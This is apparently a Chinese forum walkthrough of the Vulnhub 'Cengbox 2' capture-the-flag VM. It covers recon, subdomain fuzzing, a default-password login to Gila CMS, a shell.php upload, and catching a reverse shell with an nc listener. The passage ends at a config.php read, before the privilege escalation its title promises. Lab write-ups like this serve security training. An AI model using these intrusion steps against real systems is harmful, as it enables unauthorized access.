Vulnhub之Cengbox 2靶机详细测试过程(利用不同的方法提权) ...

打印 上一主题 下一主题

主题 875|帖子 875|积分 2625

Cengbox 2

识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                             
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:03      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:ea:c7:5b      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.254  08:00:27:ee:62:de      1      60  PCS Systemtechnik GmbH            
复制代码
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
  3. Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-22 20:09 EDT
  4. Nmap scan report for localhost (192.168.56.254)
  5. Host is up (0.00013s latency).
  6. Not shown: 65532 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 21/tcp open  ftp     vsftpd 3.0.3
  9. | ftp-syst:
  10. |   STAT:
  11. | FTP server status:
  12. |      Connected to ::ffff:192.168.56.253
  13. |      Logged in as ftp
  14. |      TYPE: ASCII
  15. |      No session bandwidth limit
  16. |      Session timeout in seconds is 300
  17. |      Control connection is plain text
  18. |      Data connections will be plain text
  19. |      At session startup, client count was 1
  20. |      vsFTPd 3.0.3 - secure, fast, stable
  21. |_End of status
  22. | ftp-anon: Anonymous FTP login allowed (FTP code 230)
  23. |_-rw-r--r--    1 0        0             209 May 23  2020 note.txt
  24. 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
  25. | ssh-hostkey:
  26. |   2048 c4:99:9d:e0:bc:07:3c:4f:53:e5:bc:27:35:80:e4:9e (RSA)
  27. |   256 fe:60:a1:10:90:98:8e:b0:82:02:3b:40:bc:df:66:f1 (ECDSA)
  28. |_  256 3a:c3:a0:e7:bd:20:ca:1e:71:d4:3c:12:23:af:6a:c3 (ED25519)
  29. 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
  30. |_http-server-header: Apache/2.4.18 (Ubuntu)
  31. |_http-title: Site Maintenance
  32. MAC Address: 08:00:27:EE:62:DE (Oracle VirtualBox virtual NIC)
  33. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
复制代码
获得Shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ ftp 192.168.56.254
  3. Connected to 192.168.56.254.
  4. 220 (vsFTPd 3.0.3)
  5. Name (192.168.56.254:kali): anonymous
  6. 331 Please specify the password.
  7. Password:
  8. 230 Login successful.
  9. Remote system type is UNIX.
  10. Using binary mode to transfer files.
  11. ftp> ls -alh
  12. 229 Entering Extended Passive Mode (|||56112|)
  13. 150 Here comes the directory listing.
  14. drwxr-xr-x    2 0        119          4096 May 23  2020 .
  15. drwxr-xr-x    2 0        119          4096 May 23  2020 ..
  16. -rw-r--r--    1 0        0             209 May 23  2020 note.txt
  17. 226 Directory send OK.
  18. ftp> get note.txt
  19. local: note.txt remote: note.txt
  20. 229 Entering Extended Passive Mode (|||5618|)
  21. 150 Opening BINARY mode data connection for note.txt (209 bytes).
  22. 100% |****************************************************************************************************************|   209      488.28 KiB/s    00:00 ETA
  23. 226 Transfer complete.
复制代码
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ cat note.txt      
  3. Hey Kevin,
  4. I just set up your panel and used default password. Please change them before any hack.
  5. I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.
  6. Aaron
复制代码
域名:ceng-company.vm
可能的用户名: kevin, aaron
其他:kevin可能密码比较弱
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ curl http://192.168.56.254           
  3. <!doctype html>
  4. <title>Site Maintenance</title>
  5. <article>
  6.         <h1>Site Maintenance</h1>
  7.    
  8.         <p>Sorry, We don't serve yet. You can check later the site. Regards </p> <p>— Ceng Company Team</p>
  9.    
  10. </article>
复制代码
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ sudo vim /etc/hosts                                       
  3.                                                                                                                                                             
  4. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  5. └─$ cat /etc/hosts            
  6. 127.0.0.1       localhost
  7. 127.0.1.1       kali
  8. ::1             localhost ip6-localhost ip6-loopback
  9. ff02::1         ip6-allnodes
  10. ff02::2         ip6-allrouters
  11. 192.168.56.254  ceng-company.vm
复制代码
但是访问域名ceng-company.vm,返回页面内容没有发生变化
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ gobuster dir -u http://ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.js,.sh
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://ceng-company.vm
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              php,html,txt,js,sh
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/06/22 20:17:02 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /index.html           (Status: 200) [Size: 555]
  19. /.html                (Status: 403) [Size: 295]
  20. /.php                 (Status: 403) [Size: 294]
  21. /.html                (Status: 403) [Size: 295]
  22. /.php                 (Status: 403) [Size: 294]
  23. /server-status        (Status: 403) [Size: 303]
  24. Progress: 1320683 / 1323366 (99.80%)
复制代码
目录扫描没有啥收获,是否存在子域名?
  1. ─(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ wfuzz -c -u 'ceng-company.vm' -H 'Host:FUZZ.ceng-company.vm' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 76=====================================================================
  3. ID           Response   Lines    Word       Chars       Payload                                                                                    
  4. =====================================================================
  5. 000000001:   400        12 L     53 W       422 Ch      "# directory-list-2.3-medium.txt"                                                           
  6. 000000003:   400        12 L     53 W       422 Ch      "# Copyright 2007 James Fisher"                                                            
  7. 000000007:   400        12 L     53 W       422 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                           
  8. 000000013:   400        12 L     53 W       422 Ch      "#"                                                                                         
  9. 000000011:   400        12 L     53 W       422 Ch      "# Priority ordered case sensative list, where entries were found"                          
  10. 000000010:   400        12 L     53 W       422 Ch      "#"                                                                                         
  11. 000000009:   400        12 L     53 W       422 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                       
  12. 000000012:   400        12 L     53 W       422 Ch      "# on atleast 2 different hosts"                                                            
  13. 000000006:   400        12 L     53 W       422 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of this"                             
  14. 000000005:   400        12 L     53 W       422 Ch      "# This work is licensed under the Creative Commons"                                       
  15. 000000008:   400        12 L     53 W       422 Ch      "# or send a letter to Creative Commons, 171 Second Street,"                                
  16. 000000002:   400        12 L     53 W       422 Ch      "#"                                                                                         
  17. 000000004:   400        12 L     53 W       422 Ch      "#"                                                                                         
  18. 000000259:   403        11 L     32 W       296 Ch      "admin"              
复制代码
发现admin子域名返回状态码为403
将该子域名加入到/etc/hosts文件:
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ sudo vim /etc/hosts
  3.                                                                                                                                                             
  4. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  5. └─$ cat /etc/hosts
  6. 127.0.0.1       localhost
  7. 127.0.1.1       kali
  8. ::1             localhost ip6-localhost ip6-loopback
  9. ff02::1         ip6-allnodes
  10. ff02::2         ip6-allrouters
  11. 192.168.56.254  ceng-company.vm
  12. 192.168.56.254  admin.ceng-company.vm
复制代码
<img alt="" loading="lazy">
访问admin.ceng-company.vm返回“Forbidden",是否应该扫描一下目录:
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ gobuster dir -u http://admin.ceng-company.vm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,.sh,.js
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://admin.ceng-company.vm/
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              js,php,html,txt,bak,sh
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/06/22 20:31:01 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.html                (Status: 403) [Size: 301]
  19. /.php                 (Status: 403) [Size: 300]
  20. /.html                (Status: 403) [Size: 301]
  21. /.php                 (Status: 403) [Size: 300]
  22. /server-status        (Status: 403) [Size: 309]
  23. /gila                 (Status: 301) [Size: 329] [--> http://admin.ceng-company.vm/gila/]
复制代码
  1. ──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ gobuster dir -u http://admin.ceng-company.vm/gila/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,.sh,.js
  3. ===============================================================
复制代码
终于找到了登录的入口
尝试用户名为kevin@ceng-company.vm, 密码为admin
上传shell.php,发现被保存在assets目录下
访问下面的url:
  1. http://admin.ceng-company.vm/gila/assets/shell.php
复制代码
成功得到了shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Cengbox2]
  2. └─$ sudo nc -nlvp 5555                                         
  3. listening on [any] 5555 ...
  4. connect to [192.168.56.253] from (UNKNOWN) [192.168.56.254] 40688
  5. Linux cengbox 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  6. 17:39:51 up 34 min,  0 users,  load average: 1.04, 4.65, 3.25
  7. USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  8. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  9. /bin/sh: 0: can't access tty; job control turned off
  10. $ which python
  11. $ which python3
  12. /usr/bin/python3
  13. $ python3 -c 'import pty;pty.spawn("/bin/bash")'
  14. www-data@cengbox:/$ cd /home
  15. cd /home
  16. www-data@cengbox:/home$ ls -alh
  17. ls -alh
  18. total 16K
  19. drwxr-xr-x  4 root    root       4.0K May 23  2020 .
  20. drwxr-xr-x 23 root    root       4.0K May 23  2020 ..
  21. drwxr-x---  4 mitnick developers 4.0K May 25  2020 mitnick
  22. drwxr-xr-x  4 swartz  swartz     4.0K May 26  2020 swartz
  23. www-data@cengbox:/home$ cd mitnick
  24. cd mitnick
  25. bash: cd: mitnick: Permission denied
  26. www-data@cengbox:/home$ cd swartz
  27. cd swartz
  28. www-data@cengbox:/home/swartz$ ls -alh
  29. ls -alh
  30. total 44K
  31. drwxr-xr-x 4 swartz swartz     4.0K May 26  2020 .
  32. drwxr-xr-x 4 root   root       4.0K May 23  2020 ..
  33. -rw------- 1 swartz swartz        1 May 26  2020 .bash_history
  34. -rw-r--r-- 1 swartz swartz      220 Aug 31  2015 .bash_logout
  35. -rw-r--r-- 1 swartz swartz     3.7K Aug 31  2015 .bashrc
  36. drwx------ 2 swartz swartz     4.0K May 23  2020 .cache
  37. drwx------ 2 swartz developers 4.0K May 26  2020 .gnupg
  38. -rw------- 1 swartz developers    1 May 26  2020 .php_history
  39. -rw-r--r-- 1 swartz swartz      655 May 16  2017 .profile
  40. -rw------- 1 swartz developers    1 May 26  2020 .viminfo
  41. -rwxr-xr-x 1 swartz swartz       20 May 26  2020 runphp.sh
  42. www-data@cengbox:/home/swartz$ cat runphp.sh
  43. cat runphp.sh
  44. #!/bin/bash
  45. php -a
  46. www-data@cengbox:/home/swartz$
复制代码
[code]www-data@cengbox:/var/www/admin/gila$ cat config.phpcat config.php
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

风雨同行

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表